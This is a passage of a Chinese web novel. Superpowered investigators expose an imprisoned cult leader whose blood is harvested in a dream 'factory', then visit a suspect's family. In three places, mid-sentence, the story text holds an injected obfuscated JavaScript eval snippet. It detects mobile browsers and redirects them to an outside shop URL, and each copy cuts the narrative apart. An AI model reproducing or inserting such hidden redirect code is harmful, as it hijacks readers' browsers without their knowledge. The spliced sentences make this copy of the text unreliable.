他见阿苦,如同见另一个神明;他见阿苦的人格,如同见神明的分身。 神告诉他,你用鲜血换自由;又告诉他,你是瘟疫将被审判;再告诉他,离开你的安乐窝,我要替代你。 在明目承认说谎后,他发现能明辨谎言的神明也在欺骗他。 他早已分不清什么是真什么是假,连幻忆师和他说的实话,他都觉得必然是谎言。 幻忆师透过小小的观察窗,仿佛能看见那只惊恐地缩在盒子里的猫,他不敢走出盒子,更惧怕盒子被未知的存在从外部打开。 于是幻忆师发出邀请:“在旧日独居会不会很辛苦?你向我展示超能力,加入我们变成阿苦。” 寿佬拒绝:“不,我的超能力在高维度没有任何作用。” “你怎么知道没有用?”幻忆师问。 “来吧,加入我们,脱离你孱弱的躯壳,不用你独自面对外面世界的未知风险。” 寿佬平静地问:“那个阿苦是怎么死的?” 来了。 这是幻忆师一直在等待的问题。 她早早地挖下深坑,等着寿佬跳进来。 寿佬肯定有超能力,他说自己的超能力在高维度没有用处,且反复询问这个世界有没有普通人。 说明他的超能力只对普通人有作用,肯定和激发能力有关,血液疑似他超能力的发动条件。 所以幻忆师故意提到血液:“她是倒霉鬼,喝下一份鲜血,然后死了。” “鲜血?!” 寿佬的声音猛然拔高。 真相仿佛就在眼前,幻忆师急不可待地问:“你把鲜血给上尉了?” “上尉?怎么会是上尉!”寿佬的声音中满是惊愕。 然后他冷静下来:“我不需要加入你们。” 本次拜访被寿佬强行结束。 不是上尉还能是谁?幻忆师陷入沉思。 她的脑海中浮现出9张便签,便签们将她围在中间,尖叫着怪笑着。 幻忆师挥手将它们打散。 是明目,只能是明目。 第一轮拜访后,明目留下便签,说自己“没看见启明星留下的便签”。 她又说,第一个见寿佬的是主人格阿苦。 从明目的视角,即使她没看见明晃晃贴在墙上的便签,她也知道前面有两人拜访寿佬。 正常情况下,她应该说“没看见主人格和启明星的便签”。 她写这句话时下意识忽略了主人格,却强调自己从寿佬处得到一条信息:主人格第一个拜访。 而且她说自己欺骗寿佬,让寿佬不对她说假话。 她像是要把“存在阿苦主人格”这个概念强行塞进所有人的脑子。 有趣的是,寿佬也做过前后矛盾的事。 幻忆师拜访寿佬,寿佬的第一句话是“你是第6个阿苦”。 实际上,从主人格到幻忆师,他应该见过7个阿苦了。 到谈话的尾声,寿佬又强调“你们7个人格7种超能力”,证明他意识到自己说错话,在设法补救。 幻忆师早已做过实验,根本没有什么人格分裂,他们不是阿苦,是6个完全不同的个体。 她手背上隐隐作痛的叉型伤痕是最好的证明。 回忆启明星的便签,他见到寿佬后,寿佬立刻认出他是阿苦,并询问他是哪个人格。 就像是寿佬预设了人格分裂的阿苦们轮流拜访他。 第二轮拜访后,明目留下的便签在误导大家,她告诉所有人,寿佬没有超能力。 在便签的末尾,她留下一句奇怪的话语:“我使用身体的时间越来越短,有人和我一样吗?” 这具话让幻忆师完全无法理解,但如果更换角度,把自己代入到寿佬的视角,一切问题迎刃而解。 没错,寿佬就是留便签的明目。 第一轮,他假装明目写完便签,见到了柔语者假扮的隐藏人格阿殁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533050|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他隐约意识到不对,想在便签上留言试探阿苦们,看看阿殁到底存不存在。 他毕竟不是真正的明目,他无法回到手术室看见满墙的便签,不知道柔语者早就告诉大家阿殁是共用马甲。 在他的设想中,某个阿苦看完他的话,反应过来有隐藏人格,会在谈话时问他这件事,他正好把阿殁说出来。 再加上寿佬听幻忆师说有阿苦因喝下鲜血而死的激动表现,可以推理出事情真相。 第一轮,真明目苏醒后拜访寿佬,经过一番谈话,寿佬打开门把血液给她,真明目离开旧日工厂。 寿佬进入隔离仓,发现便签,他意识到启明星已经写过便签,便签就贴在那扇他进不去的合金大门里。 他立刻决定装作明目,写便签误导所有人。 所以明目便签上的留言全是假的。 寿佬的房子可以进出;阿苦不是主人格,他们全都独立存在;寿佬有超能力。 幻忆师邀请寿佬加入,寿佬说不需要。 他确实不需要,他早已是阿苦中的一员。 幻忆师认为,寿佬拥有一版和他们大相径庭的“规则”。 从他对阿苦主人格的执着,可以看出他不希望阿苦们发现自己都是独立个体。 从他闭门不出,坚定地认为6个阿苦都不是好人,可以看出“规则”把阿苦们描述得很可怕。 但他为什么把鲜血给明目?幻忆师不明白。 目前来看,幻忆师是优势方,她的谎言成功骗过寿佬,让寿佬以为他的鲜血能使超能力者死亡。 寿佬本以为他的超能力在这里没有任何作用,这也是他不愿意出门的原因之一。 幻忆师决定用便签验证自己的猜想。 【我是幻忆师,给明目留下了东西。 明目,不管看没看到东西,都留个言吧。 以下话语写给柔语者: 寿佬肯定有超能力。寿佬的房门可以打开,他不是被工厂囚禁在这里。 这是百分百正确的真相,请随意使用。】 幻忆师把便签贴在墙上。 漆黑的厂房中,她望着上尉脚印的位置。她的直觉告诉她,上尉没有死,更没有离开。 上尉是他们当中最在乎主人格的阿苦。 幻忆师躺在手术台上,安然闭上眼睛。 ...... 玩家幻忆师从金属手术台上醒来。 她直接看便签。 启明星: 【寿佬问我一个很奇怪的问题。 他说你们有喝下鲜血的爱好吗? 我谨慎回答,有的阿苦可能喜欢。 我再一次尝试和寿佬沟通主人格阿苦的问题,寿佬的回答极其敷衍。 接下来我会有所行动,先和大家说句不好意思。想必各位醒来后回忆起自己的名字,前面都有玩家二字。 但愿我们都是玩家,这只是个游戏。】 明目: 【可能因为我骗了寿佬,寿佬不愿意和我多说话, 他说他没有超能力,不明白自己为什么被关在工厂。 他说主人格几乎不说话,不知道我们为什么有那么多话可讲。】 便签没有回复幻忆师的话,证明这就是寿佬伪装的明目,他还在锲而不舍地误导所有人。 接下来三张便签全是柔语者的,她的超能力成功发动了。 54. 分岔的小径 柔语者: 【明目是假的,别信她,也别去探究她为什么是假的,那不重要。 谢谢幻忆师,我成功对寿佬进行了两次催眠,可惜两次连在一起被他发现了,现在他拒绝和我说话。 第一次,他问我是有阿苦死了吗?我实话实说,告诉他上尉不知生死。 我问他是否有超能力,他竟然回答有,没再扯些乱七八糟的谎话。 我发动超能力,进行第一次催眠,问他究竟是谁。 他说:“我是本我教圣/灵洪金胜。” 我猜他一定是个很有名的人物,可惜我失去所有记忆。 第二次,他把问过启明星的问题拿来问我:“如果给你我的鲜血,你会喝下去吗?” 当然不会,我又不是吸血鬼。 正好,我顺势问:“你的意思是,房门没锁,你随时能打开门给我鲜血?” 寿佬承认了,我进行第二次催眠:你的超能力是什么? 他的回答让我很惊讶。 “把我的鲜血滴在孕妇的腹部,可以看出婴儿是否有超能力,普通人喝下我的血液有可能觉醒超能力,年纪越小觉醒的概率越大。” 等他从第二次催眠中醒来,我迫不及待地问出第三个问题,被他察觉到不对劲。 他拒绝回答我,不愿意和我说话,但他没有切断通讯。 过了好一会,他说血液放在门口,让我去拿。 我才不拿,拿完就得离开工厂,我和寿佬的问答才刚刚开始。 但我感觉到,寿佬发现局势超出他的控制,接下来他肯定会大量派发血液,让我们离开工厂。 我建议大家不要离开,给我一个机会,让我轮流使用你们的身份,我会问出所有秘密。】 上尉和双面都没有留下便签,双面很可能拿到鲜血走了。 幻忆师知道寿佬为什么在第一轮就把血液给明目了。 “规则”早已告诉寿佬,交出血液可以让阿苦离开。 工厂的主人用两套毫不相干却互相制约的规则将寿佬囚禁于此,并让他心甘情愿献出鲜血。 幻忆师走进隔离仓。 不等她开口,寿佬主动说:“血液在门外,你走吧。” 他为什么如此执着?幻忆师很迷惑。 “洪金胜,你没有飞升,我们都是正常人类,不是什么神明。旧日工厂的主人为了得到你的鲜血,一直在欺骗你。” 一阵沉默后,上尉的声音从听筒中传来。 “寿佬,我是上尉,我在你的门前。” 幻忆师贴近观察窗,木门前没有上尉的影子。 “上尉,我是幻忆师,我没在门前看见你。” 上尉解释:“木门后还有一层门,我从通风管道爬过来的,新便签我都看过了,昏迷的阿苦也被我找到了。” 他又对寿佬说:“我知道门没有上锁,我不会打开,选择全在你手里。” 幻忆师叹气:“洪金胜,你的房间里是不是贴着规则,告诉你这里是飞升后的上界,我们都是不怀好意的神。” “规则还说,你必须误导我们,让我们以为自己是阿苦分裂出的人格。” 观察窗外枯败的花草微微晃动。 “我们也有类似的规则,规则说你是携带病毒的低维度来客。让我们欺骗你,告诉你世界上没有普通人,全都是超能力者。” “然而事实并非如此,没有什么高低维度,世界上既有普通人也有超能力者。” “你和我们都被规则制定者利用,旧日工厂确实是工厂,它的产品就是你的血液。” 洪金胜终于说话了:“我怎么知道你们不是在骗我?神都是疯狂扭曲的、残忍诡异的、无法用逻辑理解的。” 幻忆师气笑了:“你该庆幸站在你门前的是上尉,如果是我,早就破门而入了。” 洪金胜也在笑:“然后呢?进来杀死我吗?” “咳咳咳——”他的声音低下去,“我只是一个想找地方了却残生的老头子,你们离开吧。” “不。”上尉固执地说,“我不在乎你是寿佬还是洪金胜,我不记得洪金胜是谁。” “我只是坚定地认为,人不应该被重重谎言困在小小的囚笼里,被当做生产血液的工具。” “你是人,我也是人。即使你做过错事,有着滔天的罪恶,你也应该作为一个人被法律惩罚,而不是像一头奶牛被圈养在农场。” 隔离仓里安静得能听见细微的电流声,幻忆师从没想过以这个角度劝解洪金胜,她准备好的一箩筐谎言被上尉坦然的话语打翻了。 她说:“洪金胜,开门吧。” “我是个骗子,几乎没对你说过一句真话。其他阿苦也是骗子,我们遵从规则带着目的接近你。” “但上尉是真的想解救你,不要辜负他的好意,开门和我们离开吧。” 洪金胜发出一声长长的叹息:“我老了。” “幻忆师,你问过我为什么痛苦。” 幻忆师的心脏像是被粘稠的东西抓住,她望着观察窗外的花园,感觉洪金胜如同枯败的杂草。 “我的痛苦不光来自于我的神明,还来源于我的无力。我做了如此多的错事,内心早已麻木,却无法主导我的人生。” “我日复一日望着那些虔诚祈祷的人,我连自己都无力主导,更无力去改变他们。” “我确实像一头农场中的奶牛。” 幻忆师郑重地问:“能神降的神明是谁?祂是旧日工厂的主人吗?” “哈哈哈哈哈哈——” 洪金胜大笑。 “神明只是神明!” 幻忆师不解:“你的神明害你沦落至此,你甚至忤逆祂妄图飞升,为什么你还坚持世界上有神?” “你不明白。”洪金胜简短地说,“是人需要神,不是神需要人。” “我不需要神。”上尉说,“没人需要神。” 幻忆师不想和一堆枯败的杂草多说什么,她提出一个建议: “我知道你可以检测腹中的婴儿是否有超能力。怀孕的阿苦就在门外,你打开门,使用你的超能力。” “人类可能欺骗你,神明可能欺骗你,你的超能力不会欺骗你。” 寂静笼罩在工厂上空。 对讲设备里传出木门的吱呀声,是洪金胜打开了门。 与此同时,幻忆师面前的气密门也开了。 幻忆师踏入小径分岔的花园。 她推门而入,映入眼帘的是一具爬行的干尸。 干尸用连着一根筋的脖子微微支撑头颅和幻忆师对视。 它那凹陷的眼睛里汩汩流动着孱弱的死,它缓慢吃力地伸出卷曲的指甲,蘸着鲜血触碰阿苦的腹部。 流动的死亡瞬间变得恬静了。 上尉忍不住把昏迷的阿苦拖远一点。 它是洪金胜?干尸怎么还会流血?幻忆师错愕地注视着那具尸体。 尸体说话了:“原来......困住我的是我自己。” 干尸如同倒塌的秸秆,捂住凹陷的脸颊,跪倒在地。 幻忆师越过干尸进入房间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545929|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到墙上的规则: 1.旧日工厂中游荡着6名外神,不要给祂们开门。 2.外神被混乱的秩序影响,认为自己是同一人的不同人格,祂们以阿苦自居。告诉祂们主人格阿苦真实存在,不要让祂们发现自己是独立的个体。 3.如果有神明发现自己是独立个体,立刻给祂你的血液即可脱离危险。 干尸问:“她的孩子叫什么名字?” 上尉回答:“阿苦没有起名,我们不能替她决定孩子的姓名。” “你说的对......会是个漂亮的孩子,她没有超能力,但不是药渣,也不是信徒,更不用飞升。” “她会有普通但幸福的一生。” 洪金胜干瘪的身体里流出泪水一样的东西。 他的声音充满安宁:“而我,合该如此。” 幻忆师蹲下身体和他对视:“神明究竟是谁?” “她是世界上第一个超能力者。” 干尸的眼眶中闪过最后一滴泪水。 那滴泪水在幻忆师眼前无限放大,浑浊的泪珠占据了全部视野。 光线透过水珠的曲面,折射出一个扭曲变形的世界。 一扇又一扇门在幻忆师眼前闪过,手术室内的高强度合金大门、隔离仓的气密门、枯败花圃中的木门...... 画面停留在阿苦的脸上。 囚禁寿佬的最后一扇门缓缓醒来,年轻的妈妈眨了眨眼睛,小心翼翼地摸了摸腹部。 阿苦拿着一管鲜血走出旧日工厂,门外迎接她的竟然是面试官罗春喜。 “罗春喜!”阿苦惊喜地喊,她像是有一腔话想说,却被罗春喜的动作打断。 罗春喜一把夺过她手里的试管,打开喝了下去。 阿苦呆住了。 保安室里,破旧的三叶风扇在忠诚地工作,发出老机器特有的咯吱声。 头顶上,半坏不坏的灯管如同被恶魔掌控的心脏,规律且富有节奏地闪烁着。 明明灭灭的白炽光中,罗春喜享受地仰起头。 阿苦后退一步,她刚想尖声大喊,余光中闪过保安室地面的血迹,安保帽静静躺在一旁。 阿苦不动了。 “你隐瞒怀孕入职。”罗春喜用象邦语说,她依旧闭着眼睛,像是在回味鲜血的味道。 “对、对不起,我我我我我——” 阿苦语无伦次,根本不知道该说什么。 罗春喜睁开眼睛。 瞬间,阿苦脱口而出:“能让孩子活着吗?” 话一出口,她就后悔了,罗春喜想杀她,两个月大的胎儿无论如何也活不成。 她不愿放弃,继续哀求:“我的孩子,她是花儿,我想做大树,我——” “可以。”罗春喜打断她,“拿去。” 阿苦抖着手接过来,她定睛一看,罗春喜竟然把身份证给她了。 “跑吧。”罗春喜微笑,“如果活下来就当一棵大树。” “工厂里死去的老爷爷......” “死就死了,一头奶牛罢了。” 罗春喜把腕上的银蓝珍珠手链褪下,递给阿苦。 “你的孩子。”罗春喜的目光移到阿苦腹部,“就叫罗莉娜吧,这是给孩子的礼物。” 罗春喜毅然转身,留下最后的话语:“往北边跑,越北越好。” “你呢?” 罗春喜直接消失了,阿苦被吓掉了手中的身份证。 下一秒,万花筒绚烂的色彩吞噬了幻忆师,连同她手中的一把落叶。 55. 里王里 超管局内,陈影笙睁开双眼,被万花筒封锁的记忆如潮水般涌来。 圣灵洪金胜的身份也回到脑海中,洪金胜于新历30年创建本我教,号称能帮助世界上所有人获得超能力。 在此之前,人们刚度过被后世称为“十年寂静”的时期,十年内没有一个超能力者诞生,洪金胜说是自己结束了寂静期,让超能力回归人世。 他声称自己根据神的旨意收养了圣子与圣女,在教内宣扬圣灵圣子圣女三位一体的说法。 短短5年时间,本我教迅速壮大。 新历36年,洪金胜顶着超管局的追捕,在留渚市长博湖湖畔组织一次大规模聚会。 他杀死与会的所有人,他收养后给予圣子圣女身份的两个孩子也不幸罹难。 事后,他放了一把大火,把自己活活烧死在火海中。如今看来,他不是自焚,而是通过献祭药渣经历了他认为的“飞升”。 今年是新历99年,罗莉娜17岁。 罗春喜,应该叫她象邦阿苦,她怀莉娜是新历81年。 从新历36年到81年,洪金胜被囚禁在旧日工厂45年之久。 直到隐瞒怀孕入职的阿苦打破了他的囚笼,他终于迎来恬静的死亡。 洪金胜死时将近100岁高龄,被囚禁半生还要不停地抽血,他的命完全靠一股信念支撑着。 这股信念就是他对“飞升”概念的坚信。 他宁可相信屋外全是疯狂扭曲的、残忍诡异的、无法用逻辑理解的外神,也不愿相信阿苦们的一句真话。 他固然是个坏人,理应受到报应。如果这是对洪金胜的报应,那也是极其可怕的报应。 将一个人用谎言、幻想和希望囚禁在工厂,把他变成生产血液的奶牛。 “寿佬就是洪金胜,令人惊叹的真相!” 是柔语者江映辉发出的感慨。 陈影笙点头同意,然后致歉:“抱歉,没让你有机会再次对洪金胜发动超能力。” “不要道歉,洪金胜早就意识到不对,他不会再中招了。” 陈影笙坐起来:“其他人呢?” “王队让他们走了。”江映辉解释,“明目第一个醒的,她和洪金胜说自己能辨别谎言,洪金胜立刻给她一管鲜血,让她离开工厂。” 洪金胜惧怕明目的超能力。 江映辉很无奈:“但明目拿到鲜血后半场开香槟,告诉洪金胜她说的是谎话,她的超能力只有直视对方眼睛才能发动。” 想必明目从万花筒醒来,发现怪谈还没结束,一定羞愧得很,她变相增加了怪谈难度。 但陈影笙说:“不怪她,她不知道规则在骗人,大家不是阿苦的人格,她以为拿到鲜血所有人能一起离开。” 江映辉摇头:“太年轻了,局长为什么把她塞进来?” 陈影笙不接话,这种话江映辉可以说,她不能说。 她转移话题:“双面呢?” “双面是第二个醒的,他和洪金胜说根本没有人格分裂,工厂主人欺骗大家。洪金胜遵守规则,把鲜血给双面。” 洪金胜小屋内的第三条规则:如果有神明发现自己是独立个体,立刻给祂你的血液即可脱离危险。 “上尉被老王叫走了,启明星在会议室里和李队说话,你是最后醒的。”江映辉坐在陈影笙身边,“工厂的主人会不会是洪金胜口中的神明?” “截至目前,对本我教的研究都表明他们有共同信仰的神,但从来没有人亲眼见过神明,更不像洪金胜描述的,神能随意夺舍他人。” 陈影笙不知道工厂的主人究竟是谁,也不知道负责招人的罗春喜能不能逃过后续追杀,她只知道阿苦和莉娜肯定有麻烦。 罗莉娜的妈妈是顶替了罗春喜身份的阿苦,所以妈妈对报警如此抵触。她使用别人的身份苟活于世,害怕被发现后连累孩子。 李颖和老王把启明星送出门,江映辉上前和李颖聊案情,老王向陈影笙走来。 陈影笙问老王:“莉娜知道妈妈的事了吗?” “还没和她讲,那不是重点,罗莉娜认出阿律的身份了。” “是谁?” “叫何翠凤,剧本杀店的常客,是伪人测试作者虚竹的女友。” “翠凤。”陈影笙重复一遍。 很富有乡土气息的名字,像奶奶辈,但任珊珊万花筒中的阿律是二十多岁的年轻人。 “她在剧本杀店登记的会员卡姓名是何逢翠。” 阿律手机屏保上的诗,其中一句是“逢翠似逢春,心随境意驰”。 诗不会是虚竹写给何翠凤的吧?陈影笙想起来,她本打算找个懂古诗的问问,为什么这首律诗是12句。 她向老王告辞:“后续查案还需要我们吗?没事我先走了。” 她准备找人研究一下那首诗。 老王做贼一样,迅速回头看了一眼江映辉,江映辉正和李颖聊得火热。 他压低声音:“别人可以走,但你不能走,你进阿苦万花筒前提到的怪谈遗留物有进展了。” “这次万花筒我也拿到了,是一把枯败的落叶。” 老王带着陈影笙向里走,有意避开江映辉,他说: “是诞江大学万花筒研发组的新突破,两种相同来源的遗留物融合,可以进入超能力者本人的万花筒。” 陈影笙睁大眼睛:“能直接找到超能力罪犯!” “小点声。”老王赶紧说,“是最新发现,刚把阿苦万花筒的过程录制送去诞江大学,如果能证实任珊珊万花筒和阿苦万花筒的遗留物为同一来源,马上安排你进入新万花筒。” “何翠凤那边我可以跟去看看吗?” 这个问题不该陈影笙问,她作为外聘人员不能参与现实中调查取证的过程,只能根据结果提供自己的见解和建议。 但她还是问了,她想多知道一点案情,多为阿苦做些什么。阿苦已经成为一棵大树,不该被人残忍地打破平静的生活。 老王意外地看了她一眼,似乎在犹豫。 陈影笙看出老王的为难,她坦然说:“距离阿苦玩完伪人测试至今已经过去5天,只剩2天,时间很紧。在规定允许的范围内,我想尽可能多地接触嫌疑人,早一点破案。” “唉。”老王叹气,“我和李颖商量一下,安排你跟着专案组一起去。” 他远远地望向李颖和江映辉的方向,李颖正把江映辉送出超管局。 陈影笙看着老王的背影:“阿苦......等她醒来,她会发现自己苦苦隐瞒的身份暴露了。” “那是之后的事。”老王说,“我们超管局唯一能做的是先保住她的命。” 罗莉娜在档口用大铁勺盛汤的身影浮现在陈影笙眼前。 花儿在茁壮成长,她想,大树做的一切不会被白白浪费。 等江映辉被李颖送走,老王过去和李颖商议了什么。 李颖喊陈影笙一起上车:“我们找到了疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582082|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似伪人女孩的人。” 陈影笙接过老王递过来的平板电脑,屏幕上是一张二十岁年轻男性的照片。 陈影笙下意识往左划,以为老王给她看错了。 “就是他。”老王肯定地说,“何康,一名自闭症患者,何翠凤之前在他家做保姆,主要工作是照顾何康。” 何康长得很符合普罗大众眼中的大龄自闭症患者。 他圆润浮肿的脸颊是典型激素面容,头发为了便于打理,被剃得平平的,眼神看上去直愣愣,谁看见他都会绕道走。 和伪人女孩没有半点相似之处。 “你们在阿苦的万花筒里破案,我们在外面给罗莉娜看任珊珊万花筒内出现过的相关人员。” “罗莉娜刚听见阿律的声音,立刻分辨出阿律是剧本杀店的一位老客户,会员名何逢翠。我们的警员到店里调取监控录像,经过声纹比对,确认何逢翠和阿律是同一人。” “经进一步调查,何逢翠的真名是何翠凤,25岁的外来务工人士,在本市从事家政服务,居住地填的是雇主家。” “我们迅速出发去雇主家,却被告知她半个多月前向雇主请假回老家,然后再也没回诞江。” 半个多月前,刚好是任珊珊参与伪人剧本杀的日期。看来何翠凤在剑侠那里面试失败后,立刻灰溜溜地逃走了。 “我们抓紧时间调查何翠凤雇主一家,找到了何康。” 陈影笙举起平板和自己的手机,把何康和伪人女孩的照片做对比,看不出半点相似之处。 她问:“为什么说他是伪人女孩?” 李颖回答:“经过人脸识别系统的比对,他和伪人女孩的面部几何特征完全相符。” “用通俗的话解释,伪人女孩是换一个性别然后被烧伤的何康。”李颖既疲惫又亢奋,“我前期带着网络安全组同事做的筛查也没有浪费。” 老王回头问陈影笙:“还记得那条红背带裙吗?” “记得。” 伪人测试中,伪人女孩和童模身穿一模一样的红背带裙。李颖当时顺着这条线索查了很久,她甚至用超能力把网上店铺的评论都看了。 李颖的超能力是网络形象显影,在网络上看见一条超过15字的发言后,脑中能浮现出发言人的长相名字位置,某些情况下还能看见发言人打下这段字时的大致情况。 “我‘看见’过何康和何翠凤。”李颖说,“何翠凤坐在桌边捧着手机生气地给店家差评,因为店家不肯给她退货,何康在旁边画画。” “为什么不退货?” “裙子被穿变形了。” 陈影笙放大何康的照片:“真是何康穿的?他和伪人女孩根本不是一个体型吧?” “所以我们往何康家赶。” 驾驶席的老王平稳地握着方向盘。 “何康家在第七中学对面的居民楼中,父亲何大勇,母亲张晓娜。家里主要经济来源是父母共同经营的小吃摊,经常有七中的学生光顾。” 罗莉娜是七中的学生,她说自己好像见过伪人女孩,可能是见过何康。 然而何康和伪人女孩没有任何相似之处,除非罗莉娜身上装载了人脸识别系统,否则她不可能把何康认成伪人女孩。 老王开的不是警车,他开自己的车,可能担心大张旗鼓开警车进小区会引来好事的媒体记者。 他说:“到了。” 陈影笙抬头,看到小区的名称。 【里王里】 56. 丫鬟 陈影笙觉得莫名其妙:“名字好怪。” “这片地方二百年前是理王府。”李颖解释,“王字旁的理,不是这个里。” “人们叫习惯了,一直叫它理王府。后来有投资者买下来想做景区,但拆迁上遇到了难题。” 李颖没详细说,陈影笙能猜出来,无非是拆迁户坐地起价,摔摔打打地拦着施工队。 这件事她也有印象:“听说后来把王府旧址整个挖出来移走了。” “对,连地基一起挖出来,理王府景区在郊外建好了。”李颖说,“再后来还是把老平房拆了,但原拆原建,居民们没拿到钱。” 竹篮打水一场空。 “再叫理王府不合适,理王府是人家的注册商标,于是改名叫里王里。” 陈影笙好奇地问:“李队对里王里很熟悉?” “我是从片警干上来的。”李颖笑了,“毕业后在这片街区干了3年。” 陈影笙沉默地望着车窗外的景色,现在是凌晨5点左右,天蒙蒙亮。 清晨本应是一天的起始,小区内却一片破败。楼房是没抹墙皮的红砖楼,很多人家私自搭建了小棚子小阳台。 地面的石板路早已破碎不堪,污水填满砖石破碎后的坑洞,一层油沫漂在灰黑色的水面上,各种小飞虫落在油上,吸食来之不易的油脂。 一个佝偻身躯的老人嘟嘟囔囔地出来扔垃圾,小区竟然没有垃圾桶,用红砖垒起的矮墙充作简易垃圾堆放处。 分辨不出性别的老人扔完垃圾不肯离开,他或者她把手伸进垃圾堆,试图翻找一些能卖钱的废纸板。 李颖也看见老人了,她很无奈:“没法放垃圾桶,垃圾桶全被捡去卖破烂了。” 陈影笙由衷感慨:“李队,真是不容易。” 她以为李颖是凭借超能力平步青云升上来的,没想到李颖还在这样的街区干过片警。 李颖摇了摇头。 老王找地方停车,左絮飞和另一位警员从道边的车里探出头。 “何家没人出来,也不见有人进去。”左絮飞指了指前方的楼洞。 他从万花筒出来后立刻被派来盯梢,怕有超能力者来劫人。 穿着碎花棉服的老年女人正站在楼门前鬼鬼祟祟地做些什么,老王问:“那是谁?” “拔红砖的。”左絮飞疲惫地抹了把脸。 陈影笙走近了仔细看,发现女人在扣墙面上松动的砖头,墙上被她拔得坑坑洼洼。 “拿砖头回去做什么?” “搭窝棚或者卖废材吧。” “他们这么缺钱?”陈影笙受到深深的震撼。 按理说,阿苦和罗莉娜租住的老城区才是最穷最破败的地方,但那里至少没人拔红砖。大家早早出去打工,深更半夜才回来,没人有时间和一块砖过不去。 “不缺,退休金好几千。”李颖平静地说,“但就是要捡破烂拔砖头,渐渐地小区里没年轻人了。” 没有年轻人愿意和一堆破烂住一起。 一群人走进楼洞,女人赶紧护住手里装满红砖的袋子,生怕他们来抢。 何家在顶层5楼,楼梯又窄又陡,只有成年人半个脚宽。 幸好来的都是身强体壮的精锐,一群人大气不喘地爬上5楼。 给他们开门的是何康的妈妈张晓娜,屋里一股劣质豆油的臭味,油腻腻的味道腌进每一道砖缝。 张晓娜很不耐烦:“谁呀?大早晨的!” 她揉了揉眼睛,看清面前的一群人。 “又是警察!”她向屋里吼,“孩子他爸,你出来看看!” 穿衣服的窸窸窣窣声和男人的抱怨声同时响起:“都说翠凤回村了,她惹的事和我们有什么关系?” 李颖出示警员证,简练有力地说:“不是何翠凤,是何康,我们怀疑他和多起超能力谋杀案有关。” “他?!哈哈哈哈哈哈——”张晓娜直接笑出声,“一个傻子!他杀人?” 她披散着头发,状若疯癫:“你怎么不说太监强/奸宫女啊?” 李颖冷着脸:“张晓娜,你注意用词!” 何康的爸爸何大勇踩着裤子走出来:“他杀人你们快把他带走,我早就打过市长热线,提议大龄残障人员应该由国家统一抚养。” 张晓娜一把推开卧室的门:“康康,警察叔叔们来接你了!” 何康竟然没睡觉,他坐在书桌旁,对着一盏昏暗的台灯画画。 陈影笙走过去,看到他在画太阳。 他在剪裁得小小的黄色草纸的左上角,认认真真地画太阳。 先用铅笔画一个圆圈,再画八条围绕圆圈的射线,最后用红色的蜡笔把圆圈填上颜色。 红红小小的太阳,何康画得很努力,他细致地画完,放下蜡笔仔细欣赏。 然后呢?陈影笙凝视着他,他还会画什么? 何康什么都没有画,他两只手卷曲着摆在胸前,直愣愣地看着纸上的空白,完全沉浸在自己的世界里。 外面的客厅中,何大勇和张晓娜在喋喋不休地和李颖抱怨着什么,他们的声音尖刻到催人耳膜。 陈影笙的感官却自动屏蔽了所有声音,这一刻她仿佛与何康的知觉同步了。 何康在草纸的右上角标注“159”。 陈影笙才发现,他右手边有厚厚一沓纸,纸上在相同的位置用相同的画法和相同的颜色画了一模一样的太阳。 这是他画的第159张。 “你今晚睡觉了吗?”陈影笙微微压低身体轻声问。 毫无预兆的,何康突然举起双手,手舞足蹈起来。 他的手背无可避免地打在陈影笙身上。 “没事吧?”左絮飞把陈影笙拉远。 陈影笙没动,她紧紧盯着何康面前的空气。 他像是......看见了什么东西才这么兴奋。 张晓娜看见大龄自闭症儿子打人,难过地哭了起来:“带走!求求你们把他带走,他又看见不干净的东西了!” 陈影笙很镇定:“不是不干净的东西,是自闭症的感知觉异常。” “你那么懂,你带回去治啊!”张晓娜尖叫。 李颖一把按住张晓娜的肩膀:“你冷静一点,配合查案。” 感知觉异常是自闭症的一种症状,患者会对正常人很难察觉到的声音特别恐惧或特别喜好。 何康手舞足蹈的表现明显是喜欢,陈影笙对张晓娜说:“安静,他听到声音了。” 张晓娜安静下来,陈影笙侧耳聆听。 什么都没有。 “能看看病历吗?”陈影笙问何康父母。 沉默的何大勇把一大袋子病历塞给陈影笙。 他开始向老王诉苦:“您看见了,我家这个情况。” “翠凤干过什么事,和我们没关系;康康做了什么事,我们不知道。最好他真做了什么,你快把他带走。” “你们是何康的监护人,何翠凤的雇主,真出事脱不开干系,谁也别想跑。”李颖漠然抱臂站在一旁。 何大勇急了:“我和你上司说话,你一女的插什么嘴!” 老王笑眯眯地说:“她是我上司,我是普通警员。” 这是谎话,但很管用,李颖老王一唱一和把何大勇治住了,何大勇讪讪地闭上嘴。 